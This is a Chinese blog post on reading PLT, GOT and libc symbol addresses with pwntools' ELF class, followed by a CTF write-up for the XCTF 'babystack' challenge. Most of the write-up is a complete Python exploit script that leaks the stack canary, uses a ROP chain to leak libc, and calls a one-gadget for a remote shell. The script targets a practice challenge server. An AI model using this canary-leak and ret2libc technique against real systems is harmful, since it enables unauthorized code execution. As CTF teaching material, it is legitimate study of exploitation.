pwntools中ELF的几种使用方法

0x00 前言

以前我做栈溢出的时候,总是要通过IDA去查二进制文件中plt表、got表的地址,或是查libc文件中的函数偏移。其实这些东西只要使用pwntools就可以在脚本中直接得到。

0x01 示例

得到某函数的plt表、got表的地址:

1
2
3
4
# 以read函数为例
elf = ELF(file_name)
read_plt_addr = elf.plt['read'] # 该值可以直接用于函数的引用
read_got_addr = elf.got['read'] # 若read函数已进行过延迟绑定,该值即为动态链接库中的read函数的实际地址

得到某函数在libc文件中的便宜:

1
2
3
# 以read函数为例
elf = ELF(libc_name)
read_offset = elf.sym['read'] # sym也可改为symbols

0x02 案例

题目来源:xctf攻防世界

题目附件:http://my.aidmong.cn/blogfile/pwn/20190409/babystack.zip

我做这题的时候,杭州正值高温天气,可能是脑子热坏了的缘故,看到字符串s存放位置是rbp-90h,读入字符串大小为100h,然后一直想着只能覆盖到old-rbp和ret-address。唉……

脚本如下:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
from pwn import *
context.log_level = 'debug'
file_name = './babystack'
elf = ELF(file_name)
# p = process(file_name)
# libc = ELF('/lib/x86_64-linux-gnu/libc.so.6')
p = remote('111.198.29.45', 30169)
libc = ELF('./libc-2.23.so')
pop_rdi_ret = 0x400a93

payload1 = 'a'*0x88 + 'b'
p.recvuntil('>> ')
# raw_input()
p.send('1')
p.send(payload1)
p.recvuntil('>> ')
p.send('2')
p.recvuntil('b')
canary = u64('\x00' + p.recv(7))
# print hex(canary)

payload2 = 'a'*0x88 + p64(canary) + p64(0) + p64(pop_rdi_ret) + p64(elf.got['read']) + p64(elf.plt['puts']) + p64(0x400908) # 注释1
p.recvuntil('>> ')
p.send('1')
p.send(payload2)
p.recvuntil('>> ')
p.send('3')
read_addr = u64(p.recv(6) + '\x00\x00')
# print hex(read_addr)
libc.address = read_addr - libc.sym["read"] # 注释2
# print hex(libc.address)

payload3 = '\x00'*0x88 + p64(canary) + p64(0) + p64(libc.address + 0xf0274)
p.recvuntil('>> ')
p.send('1')
p.send(payload3)
p.recvuntil('>> ')
p.send('3')

p.interactive()

注释1:将read函数的got表地址弹入rdi后,让rip跳转进puts函数的plt表地址可直接执行puts函数,输出read函数在动态链接库中的实际地址。

注释2:设置libc.address的值即为设置libc在动态链接库中的基地址,利用read函数在libc文件中的偏移量和read函数的实际地址的差值即可获得。

0x03 参考文档

pwntools官方文档:https://pwntools.readthedocs.io/en/stable/elf/elf.html

×

亲,赏点嘛(づ ̄3 ̄)づ╭❤~

扫码支持
扫码打赏,你说多少就多少

打开支付宝扫一扫,即可进行扫码打赏哦

文章目录
  1. 1. 0x00 前言
  2. 2. 0x01 示例
  3. 3. 0x02 案例
  4. 4. 0x03 参考文档